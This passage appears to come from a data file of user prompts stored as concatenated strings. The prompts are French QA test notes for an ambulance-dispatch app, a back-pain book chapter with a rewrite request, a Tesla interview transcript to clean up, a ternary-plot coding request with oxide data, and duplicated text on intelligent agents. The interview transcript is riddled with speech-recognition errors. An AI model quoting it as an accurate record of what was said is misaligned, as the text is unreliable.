✔\n - ProcessJourneyWitoutFare ✔\n - FindExternalBills ✔\n - SetupServiceConfigLoader ✔\n - ColumnExists ✔\n - GetIndexesForColumn ✔\n - GetDefaultConstraints ✔\n - DeleteCubeItems ? c\'est de l\'algo mais la correction marche partout ailleur donc bon \n - SaveVersion ✔\nFenêtre de création de mission SAMU ✔\n - Affichage ✔\n - Création de mission SAMU ❌ GuardLineIdGuardLine et InterventionIdSector sont bien enregistrées sur la journey mais pas CarrierIdSector\nExport TUPH ❌ plus aucun transport remonté dans l\'export\n- CarrierIdSector jamais renseigné\n- plus aucun transport remonté dans l\'export TUPH, il faut changer les INNER JOIN en LEFT JOIN :\n LEFT JOIN Sectors sg ON sg.Id = j.CarrierIdSector\n LEFT JOIN Sectors si ON si.Id = j.InterventionIdSector\n LEFT JOIN GuardLines gl on gl.Id = j.GuardLineIdGuardLine\n- Pour les actions Supprimer et Restaurer des lignes de garde / Secteurs UPH, ne pas passer tout le dto mais juste l\'id et mettre à jour que la suppressionDate\nImportation de mission Sirus ✔ \n - ligne de garde : Nouveau ✔ / déjà présent ✔\n - Secteur de garde : Nouveau ✔ / déjà présent ✔\n - Secteur d\'intervention : Nouveau ✔ / déjà présent ✔\nLignes de garde UPH ✔ section présente dans les outils\nLignes de garde UPH ✔ la liste est affichée\n - Filtre Nom ✔\n - Filtre Etat ❌ Soucis d\'affichage de la valeur (voir en dessous) ✔ mais ça filtre bien\n - > 20 éléments ✔ l\'affichage passe en mode liste\nFiche Ligne de garde ✔ la fiche est affichée\n - Sauvegarde ❌ dans le cas ou les champs son vide plutôt que masquer le bouton sauvegarder on peut ajouter des messages Nom obligatoire etc\n - Sauvegarde Ajout ❌ erreur en essayant d\'ajouter une ligne avec uniquement un nom\n - Sauvegarde Modification ✔\n - Supprimer✔\n - Restaurer ❌ Icone Restaurer (voir en dessous) , ✔ Ok pour le traitement\n - Doublon : Ajout ✔ Modification ✔ Restaurer ✔ Suppression ❌ en supprimant j\'arrive a créer un doublon de nom de secteur\nSecteurs UPH ✔ section présente dans les outils\nListe des Secteurs UPH ✔ la liste est affichée\n - Filtre Etat ✔\nFiche Secteur ✔ la fiche est affichée\n - Restaurer ❌ Icone Restaurer (voir en dessous), ✔ Ok pour le traitement\nDepuis TripList : \n - Affichage du bandeau équipages ✔\n - Assignation/Désassignation d\'un équipage ✔\nSans le bandeau équipage : \n - Survole d\'une ligne dans TripList avec un équipage complet ✔ l\'icone n\'est pas affichée\n - Survole d\'une ligne dans TripList avec un équipage incomplet ✔ l\'icone n\'est pas affichée\nAvec le bandeau équipage : \n - Survole d\'une ligne dans TripList avec un équipage complet ✔ Affichage de l\'icone dans la colone type de véhicule\nTooltip présent sur l\'icone ✔\nClique sur la flèche avec l\'équipage présent dans les résultats le bandeau équipage ✔ l\'équipage correspondant est bien sélectionnée\nClique sur la flèche avec l\'équipage absent des résultats du bandeau équipage ❌ la flèche ne devient pas rouge \n Depuis TripList : \n - Affichage du bandeau équipages ✔\n - Affichage de tous les véhicules ✔\n - Assignation/Désassignation d\'un équipage ✔\n - Assignation/Désassignation d\'un équipage vide ✔\n - Réaffecter un équipage ✔\n - Réaffecter un équipage vide ✔\n Depuis TripAdd : \nDepuis autre :\n- Récupération des missions Carius ✔ le bandeau est bien affiché\n- 1er acceptation ✔ la mission revient dans le bandeau\n- accepter la mission ✔ affichage de la modal \n - établissement compatible trouvé\n - Adresse de départ ✔ affichage de la liste déroulante des établissements\n - Adresse d\'arrivé ✔ affichage de la liste déroulante des établissements\n - pas d\'établissement compatible trouvé\n - Adresse de départ ✔ affichage de la checkbox "Créer la fiche"\n - Adresse d\'arrivé ✔ affichage de la checkbox "Créer la fiche"\nValider avec checkbox "Créer la fiche du professinnel de santé" ❌ Exceptions SqlException:L\'instruction INSERT est en conflit avec la contrainte FOREIGN KEY "FK\\_Trips\\_CompanyIdCompany". Le conflit s\'est produit dans la base de données "dbfram3\\_0131", table "dbo.Companies", column \'IdCompany\'.\nValider sans checkbox "Créer la fiche du professinnel de santé" ❌ Exceptions SqlException la même\nOption "Créer la fiche du professinnel de santé" quand il existe déja dans saphir ❌ Exceptions DuplicateException: Un etablissement existe déjà avec ce même prénom, nom et numéro Finess\n02/02 16:59:18.208 ERR DbException [CatchDbException]\nExceptions.DuplicateException: Un etablissement existe déjà avec ce même prénom, nom et numéro Finess\nSur la fiche client/employé\n - Creation d\'un client/employé avec la nationalité Britannique ✔ le client/employé est bien enregistré\n - Creation d\'un client/employé sans la nationalité Britannique ✔ le client/employé est bien enregistré\n - Modification d\'un client/employé, mettre la nationalité Britannique ✔ le client/employé est bien enregistré\n - Modification d\'un client/employé, enlever la nationalité Britannique ✔ le client/employé est bien enregistré\n - Suppression d\'un client/employé avec la nationalité Britannique ✔ le client/employé est bien supprimé\n - La nationalité Britannique est disponible dans la liste des nationalitées des adresses ✔\n - L\'indicatif Britannique est disponible dans la liste des indicatifs ✔ \n - Si l\'indicatif Britannique est séléctionnée ✔ le format du numero de téléphone est adapté \n - Si l\'indicatif Britannique n\'est pas séléctionnée ✔ le format du numero de téléphone est adapté\nTu peux rajouter dans la RN que tu as mis l\'indicatif +44 aussi\nAffichage d\'une facture sans fichier de presciption ✔ l\'icone de fichier presciption n\'est pas visible\nAffichage d\'une facture avec fichier de presciption ✔ l\'icone de fichier presciption est visible, le fichier est bien affiché au survole\nSuppression du fichier et retour sur la facture ✔ l\'icone de fichier presciption n\'est pas visible\nAjout d\'un fichier presciption et retour sur la facture ✔ l\'icone de fichier presciption est visible, le fichier est bien affiché au survole\nAffichage de la liste des équipages avec anonymisation ✔ la colonne Nom n\'est pas affiché\nAvec ou sans anonymisation ✔ Il est possible d\'afficher/cacher la colonne ID Employée\nAffichage de la liste des équipages pour une ambulance ✔ fonctionne aussi sur la grid Equipier 2.\nQuestionnement\nEst ce que c\'est normale de pouvoir cacher la colonne ID Employée même avec l\'anonymisation ?\nJe ne sais pas si c\'est vraiment lié à ton dev, mais le clique droit pour le menu d\'affichage des colonnes ne marche pas sur les colonnes Nom et Id Emp de l\'équipier 2.\nAffichage des série dans le bandeau Carius ✔\nfiltre plugin d\'intégration valeur "Carius" ✔\nAffichage des raison d\'annulation en verts clair ✔\nAffichage des raison d\'arrêt de série Carius en verts clair ✔\nColonne de note ✔\naffichage des notes ✔\naffichage des raisons des notes ✔\nDemandes de transports avec les données :\nDepuis Carius reservation\n - Transport couché ✔\n - Transport assis ✔\n - Prescription \n - oui\n - non\n - Raison de transport ✔\n - Adresse départ ✔\n - Adresse arrivé ✔\n - Commentaires départ ✔\n - Commentaires arrivé ✔\n - Transport aller-retour\n - oui ✔\n - non ✔\n - Date et heure de rdv ✔\n - Société de transport ✔\n - Accompagnateur\n - oui ✔\n - Information Prescription Médicale de Transport\n - Une Affectation Longue Durée ✔\n - Un Accident de Travail ✔\n - Ce transport nécessite :\n - Oxygène ✔\n - Brancard bariatrique ✔\n - Fauteuil roulant ✔\n - Asepsie ✔\n - Souhaitez-vous être rappelé(e) par votre ambulancier ?\n - oui\n - commentaire ✔\n - Série ✔\n - Acceptation de la Série ✔\n - Refus de la Série ✔\n - Création du client ✔\n - Acceptation de l\'intervention ✔\n - Refus de l\'intervention ✔\nDepuis Carius etab\n - Patient\n - nouveau ✔\n - existant ❌ pas de maj des spécificitées ?\n - Motif du transport ? équivalent Saphir manquant\n - Le patient est-il hospitalisé au moment du transport ? équivalent Saphir manquant\n - Le patient est-il en HAD ? équivalent Saphir manquant\n - Etes-vous gestionnaire de cette HAD ? équivalent Saphir manquant\n - Commentaires ✔\n - Suspicion COVID-19 ✔\n - Infection COVID-19 ✔\n - Date et heure du transport ✔\n - Transporteur ✔\n - Avion ? équivalent Saphir manquant\n - Bateau ? équivalent Saphir manquant\n - Asepsie ❌ pas en commentaire\n - Brancard bariatrique ✔\n - Fauteuil roulant ❌ pas en commentaire\n - Oxygène ❌ pas en commentaire\n - pédiatrique ❌ pas en commentaire\n - TPMR ❌ En commentaire alors qu\'il pourrait être sur la journey' +'Read the chapter 15 { \nCHAPTER FIFTEEN\n RULE #6\n Crawl Before You Walk, Walk Before You Run\n From Jeremy\nAs you know by now, the essence of the protocol is lifelong behavioral change. That means changing the way you carry yourself and move (the neutral spine and all that). But it also means adopting and staying with our carefully designed (and progressive) exercise regimen. It is designed for back pain and it is essential for a permanent cure. And you have to do it correctly. There is an awful lot of text and a bunch of pictures about exercise in this book. But it’s not because you have to do so many exercises; there really aren’t that many. It’s because we want you to do them right. Remember, you are far more likely to do these exercises with the compensatory patterns you have been doing for years unless you read closely and concentrate on doing them the right way. Doing them the wrong way will just make you better at doing bad things. \nOne great key to doing them right is to go slow in the learning process. Whether you’re the type or not, you have to take it step-by-step. This is a healing process, and you cannot rush a healing process; it has its own rhythm and you have to follow it. Roll out these exercises slowly over time, progressing from one level to the next only when you “get” the level you are on and are ready to move up. \nRemember, it is these daily exercises that—more than anything else—are going to give most of you a significant and permanent reduction in pain and tightness. Other steps get you past the immediate pain. These steps make the change permanent. \nBe Still to Heal; Be Still to Stay Well \nOne of the main goals of changing your movement patterns is to make the “be still to heal” concept (Rule #2, in Chapter 7) part of your daily life. Once you have achieved an initial fix, you don’t have to be as still. But it is a great idea to learn to move with relative stillness (without moving your lumbar spine too much) all the time. \nThis is a big change for most of you, and you have to take it in steps; as I say, you have to crawl before you walk. The first step in learning to keep your lumbar spine still routinely is simply to learn to march in place, with a neutral spine. (This is the “crawl” part of the process; it may seem too easy to bother with. It is not.) The goal is to learn to march in place with no lower spine movement. Then you can move on to other movements in this chapter.\nKey tip: If any of these movements hurt, take a step back to the last thing you could do without pain (marching in place, for instance). Stay with that for a few more days and then try to progress again. In theory, if you can march in place without pain, you can walk without pain and move without pain. It’s just a matter of building up your core, turning on the right muscles, and learning to use those muscles to move in the right way. Whenever you have difficulty, go back to the previous step and start again. \nOkay, you’ve done marching in place without moving your lower spine. Once that feels relatively simple, try doing this while walking. Things become a little murkier here because there are many factors at play. Because you are now weight-bearing, you need the support of important muscle groups like the glutes and latissimus dorsi (lats) to support your spine, in addition to the muscles we talked about in the core. If you can’t do this at first without pain, follow the advice in the book for a while, and it will come once you have developed enough strength to support your spine while standing. \nWalking with Neutral Spine \nLearning to walk with a neutral spine means applying the same mechanics of your Slow March with Neutral Spine exercise to an upright, weight-bearing position. Almost everyone can improve their ability to walk without pain if they can do the slow march exercise on the ground. The distance you can walk without pain, or without significant increases in pain, will increase as you build core and gluteal strength and endurance by doing the exercises in this book. To get started on increasing your ability to walk with decreased pain, follow these directions:\nStep 1: Stand with good posture. Stand tall, shoulders back, head over your shoulders. Think of sticking your chest out and pulling your shoulder blades down and back. Make sure you aren’t leaning forward. Tilt your pelvis back and forth (just like you did on the floor earlier), and stop where your lower back feels the most comfortable. \nStep 2: Use your core to lock your neutral spine in place. \nStep 3: Now try to walk while maintaining the position of your lower back and with the good posture you just set. It can help to put one hand on your stomach and one on your low back to feel for movement. Once you feel like you’ve mastered maintaining neutral spine while walking, start to swing your arms from the shoulders, arm to opposite leg. This means if your right leg is swinging forward, your left arm should be as well. Make sure to always swing your arms from the shoulders as you walk; this helps dissipate force away from the spine. This movement takes time to master so don’t get frustrated. Keep practicing. It gets easier after you have built endurance and strength in the muscles that support the spine. \nStep 4: If you sense your back is about to hurt, stop and have a seat for a few minutes and give your back a break. Then try walking a little longer. Over time, the period between these sitting breaks should increase, allowing you to walk farther without pain.\nNow let’s move on to more complex movements. To make it easier (and to improve your chances of success) we are going to break those more complex movements down into pieces and then put them all together at the end. We will start with movement from the hips, a very basic move in all our lives all the time. Let’s start with hip-hinging. Hip-hinging is a way to bend forward without stressing (i.e., bending) the spine. Done right, the axis of movement is in the hips, not the low back. Your low back should be in a protected neutral position with the core engaged. As you bend forward, your low back doesn’t round or move. Let’s look at a picture of hip-hinging and a picture of lumbar flexion (low back bending); one is good, the other is bad. This is simple stuff, but it is very hard to get over your ancient, bad habits. Hard but essential. } { Hip-Hinge with Neutral Spine\nHere are a couple of pictures showing you the right way to hinge (on the left) and the wrong way (on the right). Notice the very slightly curved lower back in the hip-hinge picture on the left: no movement. Excellent! The pic on the right has quite a lot of spine movement; don’t do that. When you first try this movement, it may feel awkward, and you may assume that you cannot reach as far forward with good posture. Not so. You’ll soon realize that you can move just as far forward, using only your hips, as you did before, using your back. You don’t lose anything and you avoid a ton of pain. Over time you will gain mobility. The reason is that moving with your lower back eventually causes pain and stiffness in your back. But moving from your hips will not have that result. Let’s practice doing it right. } { Full-Body Rotation\nThe chest, navel, and hips all move together. This means there is no (or very little) movement in the spine. The body rotates by moving the hips, knees, and pelvis. If the hips and pelvis stay facing forward while the rib cage moves, the movement comes from the waist, and therefore the lumbar spine. This type of movement can wear down the discs and joints in the spine over time, especially when additional load is applied (like unloading the dishwasher for instance). Just like hip-hinging, rotation done properly doesn’t cause you to lose mobility and will improve athletic performance. Let’s give it a try. Once again, the new movement is not that hard. But you are trying to unlearn a lifetime of moving with your spine. That is hard } { Torso Rotation with Hip-Hinge and Squat\nNow let’s try to put those two movements—the hip-hinge and the rotation—together with a squat for a realistic, three-dimensional movement that allows you to accomplish everyday tasks (think unloading the dishwasher, putting up groceries) without stressing your back. You are going to rotate and bend down (hip-hinge), then come back up to the other side and extend. \nNotice that within that entire chain of movement, the person in the drawing does not really move his spine (look at the waist if you’re having trouble visualizing that). The rib cage remains locked onto the pelvis the entire time. These pictures show you that you can go almost 180 degrees from side to side, stooping as low as you can and then extending as high as your hands can go, without compromising your back. Let’s try it. } { TROUBLESHOOTING\n• Knee pain: If your knees hurt as you start to rotate the torso, be lighter on your feet. Allow the feet to pivot a little bit. If the knees hurt when you are hinged forward at the bottom of the movement, drop your buttocks back more so that you are in a squat position (think of a baseball catcher) and lessen your range of motion. Try doing small movements and increase your range of motion gradually.\n• Back pain: If your back hurts with this one, it is likely you are twisting at the waist, rounding the back, or don’t have the gluteal strength yet to perform this movement to its full range of motion. Do a little investigating: Can you hip-hinge without pain? If so, that’s not the issue. Can you do the torso rotation without pain? Can you squat without pain? If you can do all three without pain then it is likely you are having difficulty putting all of these moves together without sacrificing form on one of them. Try doing this movement in very small pieces in front of a mirror or loved one, and gradually increase your range of motion over time. If any one piece causes pain, work on that one until you can do it pain-free, and then come back and try this movement again. \nRemember, these movements must become habits. That sounds daunting but it really isn’t that hard. Once your back starts to feel better, it will let you know when you move the wrong way and you’ll avoid that at all costs }\n\n\n of original book that I sent you and save it in your memory. Then, based on this text of chapter 15 of original book and your own information, continue the text of chapter 15 of the new book as much as you like. morover, explain it with deep learning to me as if i were 10 years old.The text should be completely scientific and academic and based on science World Day should be written and repetition should be avoided. that are not repetitive and related to this topic. this chapter of an original book that I gave you is just a starting point and he has the right to add relevant foliage to this section. based on chapter 15 of original book, you can start' +'Yeah, 2000 I was trying to get to this next level, but you know, the parts that are made\n in China are not subject to a tariff, so that\'s certainly helpful.\n We also save on logistics and generally we found that locally sourced parts in China\n cost less than in the US or Europe.\n So this is all pretty helpful.\n So Tesla got added to the purchase tax exemption, which all the other...\n I\'m not sure if you\'ll realize just how much of an off-field battle Tesla\'s had to sell\n cars in China.\n It\'s been a really...\n And basically no access to any of the subsidies and we paid a tariff and we had to ship the\n cars over.\n And every single thing was set against Tesla and still we made progress and did decently\n well.\n So I think that there will be much better situation with local production, not having\n to do shipping and tariffs and being able to have lower cost, local sourcing of components.\n So it would make a big difference I think.\n Is that your victory dance?\n When you broke ran into that?\n Yeah, that\'s great.\n It\'s a big deal.\n Huge.\n Yeah, just...\n It\'s just fundamental economics.\n It kind of makes sense that making cars on the continent where there are boards will\n be a lot more efficient than making them in California and chipping them around the world.\n Yeah.\n Yeah.\n And you can get paid for the cars before paying your suppliers, which seems to not be the\n case if you\'re shipping around the world.\n Right.\n And it\'s like friction on the whole kind of cash flow situation or it has been.\n For sure.\n It will sure make a big difference on cash flow because yeah, there\'s just no way to\n get the cars, especially to Europe, but we\'re even trying to get them to customers before\n we have to pay suppliers.\n So if you\'re a rapidly growing company, it\'s nine day if you get paid by your customers\n before you have to pay your suppliers, like night and day.\n Because in the faster you grow, the video cash position is.\n But if it\'s the other way around where you have to pay your suppliers before you get paid\n by customers, then the faster you grow, the faster your cash position drops.\n Yes, you\'re up, yes.\n Because you spend more money to make your own.\n Yes, it\'s a growth actually causes you to over into the ground in a situation like that.\n Now it tells you we had a mixture of both things where we had a lot of customers in\n say in California.\n And that\'s fast.\n For sure, we would get paid by customers faster than we\'d have to pay suppliers.\n But then for cars going to Europe and Asia, it\'s the other way around.\n So we would have to pay suppliers before we got paid by customers.\n And now we could offset some of that with the asset back line, which was pretty helpful,\n but only some of it, not all of it.\n So the fundamental financial health for sure improves dramatically by just having a factory\n on the continent.\n We\'re not talking next door, but it\'s just how many ocean, especially Europe was logistically\n super hard because we\'re on the West Coast.\n If we\'re on the East Coast, then China would be much harder.\n But if you\'re on the West Coast, you\'re from the charter because you\'ve got to go to the\n Panama Canal or even worse around Tierra del Fuego.\n Because sometimes the Panama Canal get backed up and you\'re like, "This friggin\' ship is\n going to the Antarctic."\n It\'s like you could skip up to the end and it stole me as hell.\n It\'s just so you could just send a ship around chilling.\n Are you kidding?\n In the middle of crazy storms and then back up all the way and then it is too funny.\n Oh my God.\n So let me just take nightmare.\n So yeah, it\'d be great to just have it not get on a boat.\n It crossed the Pacific and Atlantic and that kind of thing.\n So maybe similar to Vincent\'s question, what\'s the biggest advantage in choosing Berlin\n compared to other European countries?\n Berlin has the best nightclubs.\n That\'s true.\n How many bit?\n I went to Brooklyn once.\n Really?\n Yeah.\n Holy shit.\n That\'s cool.\n Yeah, it was a few years ago.\n Well, I don\'t know.\n I mean, he looked at a lot of different locations and I don\'t know.\n We could have put him in a lot of locations.\n We needed to move quickly and actually this place, it\'s like 30 minutes to the outskirts\n of Berlin, technically in Brandenburg.\n It actually was a place location that BMW was going to put a plant there.\n So a ton of the environmental work and all of the permits and stuff had already been\n done.\n And then for some reason, BMW chose a different location.\n But there\'s like, I guess, something on the order of a year\'s worth of environmental paperwork\n and stuff that\'s been done on that location for an auto plant.\n So that\'s one of the quickest places to get going.\n And generally, the government, local and state government was very supportive.\n So I went there and it\'s like, OK, this seems like some pretty good vibes this place.\n So this is a lovely part of this lovely place.\n And there\'s an opportunity for-- it\'s close enough to Berlin that say young people could\n still live in an apartment in Berlin and commute to the factory.\n It\'s right, there\'s a train station.\n They actually can move the train station.\n It\'s a small train station.\n But they\'re going to move the train station to where you can literally get off the train\n and be right at the gig of Berlin.\n Wow.\n That\'s great.\n That\'s great.\n It could literally just pop right off and walk very unadvisable.\n So then it\'s like, OK, this is pretty cool.\n And so young people could be in Berlin, apartment, and it\'s a little quirky here in Berlin.\n But if you want to have more of a family situation, the backyard is affordable, housing available\n with houses with yards and stuff that aren\'t too expensive.\n Yeah.\n So it seems like a good combination of factors.\n Yeah, a lot of talent in the area.\n So it sounds cool to Google in.\n It just sounds like some cool nightclub, I think.\n You could definitely have a cool nightclub that was cool, but yeah, it sounds good.\n It sounds pretty cool.\n It\'s pretty fun.\n It\'s a party gig-ish.\n Yeah.\n It\'s sort of like a rave cave in the...\n There\'s a lot of space around the factory side.\n But you should have your own nightclub.\n Yeah.\n I think that would be...\n Who doesn\'t know what to do?\n I don\'t know if he doesn\'t know what to do with that.\n I feel like I\'d go for sure a work at a company that\'s got the nightclub.\n That sounds way more fun.\n Didn\'t you want to put a roller coaster into the Fremont factory?\n Yeah.\n You\'re still going to do that?\n I mean, I think that would be pretty fun to do.\n Yeah.\n I think we can just do...\n Yeah, just basically have like...\n We just needed a rail that can support like a modified Tesla\'s.\n And then...\n Oh my God.\n Can you imagine a plaid flat?\n Yeah, just like zip around.\n Around the factory in like five seconds.\n Yours would be booked for months.\n Yeah, we should get it right now.\n Awesome.\n Yeah, we\'re kind of actually in various parts of the factory, we have vehicle conveyance\n systems.\n They just don\'t move that fast.\n But they\'re kind of like roller coasters that move slowly.\n You can speed up.\n Yeah, you can speed up.\n Exactly.\n So, yeah.\n But yeah, we\'re all from feeling pretty...\n You know, we\'re not a tent fade or anything, but feeling pretty good about where things\n are headed.\n And I think this is a lot of good things.\n You know, Model Y coming out this year.\n And some exciting announcements about batteries.\n A lot of progress in autopilot.\n Yeah.\n Yeah.\n So, pulling, giga-balloon.\n And then making progress in some of the new vehicle developments.\n And solo the solar roof, solar glass roof.\n Getting that rolled out.\n The Cybertruck got received really well, I think.\n Yeah.\n Did you expect that many orders?\n No, not really.\n It\'s amazing.\n When I first saw the Cybertruck in France\'s design studio, I mean, you know, it had told\n me that this was a daring design.\n Although, I think you\'re the most excited about this design than any design.\n Yeah, I thought it would be the best product ever.\n Yeah.\n And I saw it.\n I was just taken aback.\n And not by the design so much, by the pure aggression that the truck, you stand in front\n of it and you\'re like, "Okay, I\'m afraid."\n You know, it really is like a badass truck.\n Yeah.\n Yeah.\n Well, it seems like a lot of reasons why people buy pickup trucks in the US is like,\n because it\'s like the most badass truck.\n You know, like, which one is the toughest truck?\n And it\'s like, what\'s tougher than a truck?\n A tank.\n That\'s a good one.\n Like a tank from the future.\n So, it\'s like...\n My niece and Parker, which is near Paloburishi, the dirt bath, rider, champion, and a really\n fine side of the truck to the order just the day...\n Fine side of the truck.\n She just encased the first four, R-Bizzy.\n Yeah, part of the book reads her.\n She\'s stuck her neck.\n And she was a cool boy.\n Yeah, absolutely.\n They just love it.\n Yeah.\n\nclean up the above text formatting.' +'Write python code for ternery plot for this data with color codes to show each element please insert the data into the code thank you\nWeight percent Group : 2020\\_12\\_18\\_noc Sample : 2020\\_12\\_18\\_noc\\_0004\\_QNT Page 1 \n \n No. Na2O MgO Al2O3 SiO2 CaO TiO2 MnO FeO K2O Total Comment \n1 4.755 9.608 0.323 53.645 15.962 0.115 0.220 14.218 0.018 98.864 SP1\\_4\\_m3\\_p7 \n2 4.728 9.835 0.308 53.759 15.794 0.125 0.173 14.148 0.000 98.870 SP1\\_4\\_m4\\_p5 \n3 5.271 9.062 0.183 53.556 14.914 0.140 0.161 15.265 0.000 98.552 SP1\\_4\\_m4\\_p6 \n4 6.703 7.392 0.357 53.430 12.310 0.153 0.182 17.751 0.000 98.278 SP1\\_4\\_m5\\_p1 \n5 4.758 9.749 0.321 53.880 15.904 0.140 0.183 14.285 0.004 99.224 SP1\\_4\\_m5\\_p2 \n6 4.557 9.884 0.308 53.566 16.096 0.116 0.199 13.287 0.000 98.013 SP1\\_4\\_m5A\\_p5 \n7 5.078 9.425 0.313 53.680 15.376 0.136 0.242 14.429 0.000 98.679 SP1\\_4\\_m5A\\_p6 \n8 4.701 9.790 0.310 53.642 16.063 0.133 0.256 13.687 0.004 98.586 SP1\\_4\\_m6\\_p2 \n9 5.390 8.886 0.324 53.615 14.488 0.151 0.196 15.553 0.008 98.611 SP1\\_4\\_m6\\_p3 \n10 5.227 9.076 0.306 53.295 14.998 0.104 0.162 15.177 0.000 98.345 SP1\\_4\\_m7\\_p9 \n11 5.147 9.146 0.292 54.142 14.868 0.128 0.192 15.143 0.002 99.060 SP2\\_20\\_m1\\_p1 \n12 4.716 9.656 0.312 53.978 15.855 0.107 0.230 13.842 0.000 98.696 SP2\\_20\\_m2\\_p3 \n13 4.828 9.566 0.277 53.967 15.839 0.126 0.188 13.617 0.004 98.412 SP2\\_20\\_m2A\\_p7 \n14 4.661 9.756 0.363 53.613 15.783 0.137 0.255 13.796 0.000 98.364 SP2\\_20\\_m3\\_p4 \n15 5.197 9.151 0.346 53.747 15.118 0.128 0.216 14.942 0.016 98.861 SP2\\_20\\_m4\\_p4 \n16 4.747 9.693 0.253 53.534 16.001 0.071 0.189 13.456 0.010 97.954 SP2\\_20\\_m5\\_p4 \n17 4.691 9.772 0.266 53.774 15.940 0.112 0.203 14.082 0.000 98.840 SP2\\_20\\_m6\\_p2 \n18 5.143 9.055 0.308 53.663 14.864 0.130 0.180 15.447 0.000 98.790 SP2\\_20\\_m7\\_p6 \n19 5.502 8.821 0.321 53.579 14.098 0.118 0.163 15.651 0.005 98.258 SP2\\_20\\_m7\\_p7 \n20 5.105 9.552 0.347 53.894 15.250 0.076 0.143 14.552 0.005 98.924 SP2\\_20\\_m9A\\_p4 \n21 5.591 8.562 0.292 53.042 13.818 0.121 0.158 15.547 0.000 97.131 SP2\\_20\\_m9A\\_p5 \n22 4.919 9.485 0.332 53.710 15.830 0.136 0.240 14.490 0.007 99.149 SP2\\_20\\_m10\\_p6 \n23 4.762 9.572 0.311 54.081 15.562 0.096 0.223 14.139 0.000 98.746 SP2\\_20\\_m11\\_p4 \n24 4.602 9.702 0.251 53.897 15.732 0.127 0.244 14.131 0.005 98.691 SP2\\_20\\_m11\\_p5 \n25 5.443 8.919 0.337 53.876 14.800 0.141 0.216 14.926 0.000 98.658 SP2\\_20\\_m12\\_p3 \n \nMinimum 4.557 7.392 0.183 53.042 12.310 0.071 0.143 13.287 0.000 97.131 \nMaximum 6.703 9.884 0.363 54.142 16.096 0.153 0.256 17.751 0.018 99.224 \nAverage 5.049 9.325 0.306 53.703 15.251 0.123 0.201 14.622 0.004 98.582 \nSigma 0.461 0.549 0.039 0.243 0.881 0.020 0.032 0.959 0.005 0.440' +'What\'s the last sentence below?\n\nWe discussed the potential of IA (Intelligent Agents) to be written in WebAssembly (WASM) and deployed on any device on the Spatial Web, and to model and combine the local contexts of these devices in order to perform sensor fusion and roll up their context awareness to higher order agents holonically. This could potentially enable IA to handle complex and dynamic environments more effectively and efficiently, potentially leading to the development of more sophisticated and effective solutions to a wide range of problems and tasks.\n\nWe also explored the concept of collaborative IA, which could potentially work together to achieve common goals or to solve complex problems, sharing knowledge and resources and coordinating their actions to achieve the desired outcomes. This could be facilitated by the use of vector encoding and addressing in the UDG (Universal Knowledge Graph), which allows for the interoperability and composability of AIs.\n\nIn addition, we looked at the concept of IA operating at multiple scales, meaning that they could function effectively at different levels of abstraction or granularity. For example, an IA might be able to handle tasks or problems at the level of individual actions or decisions, as well as at the level of larger systems or processes. This could be achieved through the use of hierarchical or modular architectures, which allow the IA to decompose complex tasks or problems into smaller, more manageable sub-tasks or sub-problems.\n\nFinally, we talked about IA operating in nested structures holonically, meaning that they could function effectively within hierarchical or nested systems where different levels of organization or abstraction are interconnected and influence each other. This could allow IA to handle complex and dynamic environments that involve multiple scales of organization and interaction, such as social or economic systems.\nIntelligent agents (IAs) are autonomous software systems that can perform tasks or make decisions on their own. They have the ability to learn from their experiences and adapt to changing circumstances, which makes them well-suited for handling complex and dynamic environments.\nWebAssembly (WASM) is a low-level programming language that can be compiled and run on any device with a compatible runtime. This makes it possible to write IAs in WASM and deploy them on a wide range of devices, including web browsers, mobile phones, and IoT devices.\nThe Spatial Web is a decentralized network of devices and software systems that are connected and interact with each other in a shared physical space. By using WASM and deploying IAs on the Spatial Web, it is possible to build IAs that are context-aware and can model and combine the local contexts of different devices to perform sensor fusion and make more informed decisions.\nCollaborative IAs are IAs that are able to work together to achieve common goals or solve complex problems. This can be facilitated by the use of vector encoding and addressing in the Universal Knowledge Graph (UDG), which allows for the interoperability and composability of IAs.\nIAs can also be designed to operate at multiple scales, meaning that they can handle tasks or problems at different levels of abstraction or granularity. This can be achieved through the use of hierarchical or modular architectures, which allow the IA to decompose complex tasks or problems into smaller, more manageable sub-tasks or sub-problems.\nFinally, IAs can operate in nested structures holonically, meaning that they can function effectively within hierarchical or nested systems where different levels of organization or abstraction are interconnected and influence each other. This can allow IAs to handle complex and dynamic environments that involve multiple scales of organization and interaction, such as social or economic systems.\nWe discussed the potential of IA (Intelligent Agents) to be written in WebAssembly (WASM) and deployed on any device on the Spatial Web, and to model and combine the local contexts of these devices in order to perform sensor fusion and roll up their context awareness to higher order agents holonically. This could potentially enable IA to handle complex and dynamic environments more effectively and efficiently, potentially leading to the development of more sophisticated and effective solutions to a wide range of problems and tasks.\n\nWe also explored the concept of collaborative IA, which could potentially work together to achieve common goals or to solve complex problems, sharing knowledge and resources and coordinating their actions to achieve the desired outcomes. This could be facilitated by the use of vector encoding and addressing in the UDG (Universal Knowledge Graph), which allows for the interoperability and composability of AIs.\n\nIn addition, we looked at the concept of IA operating at multiple scales, meaning that they could function effectively at different levels of abstraction or granularity. For example, an IA might be able to handle tasks or problems at the level of individual actions or decisions, as well as at the level of larger systems or processes. This could be achieved through the use of hierarchical or modular architectures, which allow the IA to decompose complex tasks or problems into smaller, more manageable sub-tasks or sub-problems.\n\nFinally, we talked about IA operating in nested structures holonically, meaning that they could function effectively within hierarchical or nested systems where different levels of organization or abstraction are interconnected and influence each other. This could allow IA to handle complex and dynamic environments that involve multiple scales of organization and interaction, such as social or economic systems.\nIntelligent agents (IAs) are autonomous software systems that can perform tasks or make decisions on their own. They have the ability to learn from their experiences and adapt to changing circumstances, which makes them well-suited for handling complex and dynamic environments.\nWebAssembly (WASM) is a low-level programming language that can be compiled and run on any device with a compatible runtime. This makes it possible to write IAs in WASM and deploy them on a wide range of devices, including web browsers, mobile phones, and IoT devices.\nThe Spatial Web is a decentralized network of devices and software systems that are connected and interact with each other in a shared physical space. By using WASM and deploying IAs on the Spatial Web, it is possible to build IAs that are context-aware and can model and combine the local contexts of different devices to perform sensor fusion and make more informed decisions.\nCollaborative IAs are IAs that are able to work together to achieve common goals or solve complex problems. This can be facilitated by the use of vector encoding and addressing in the Universal Knowledge Graph (UDG), which allows for the interoperability and composability of IAs.\nIAs can also be designed to operate at multiple scales, meaning that they can handle tasks or problems at different levels of abstraction or granularity. This can be achieved through the use of hierarchical or modular architectures, which allow the IA to decompose complex tasks or problems into smaller, more manageable sub-tasks or sub-problems.\nFinally, IAs can operate in nested structures holonically, meaning that they can function effectively within hierarchical or nested systems where different levels of organization or abstraction are interconnected and influence each other. This can allow IAs to handle complex 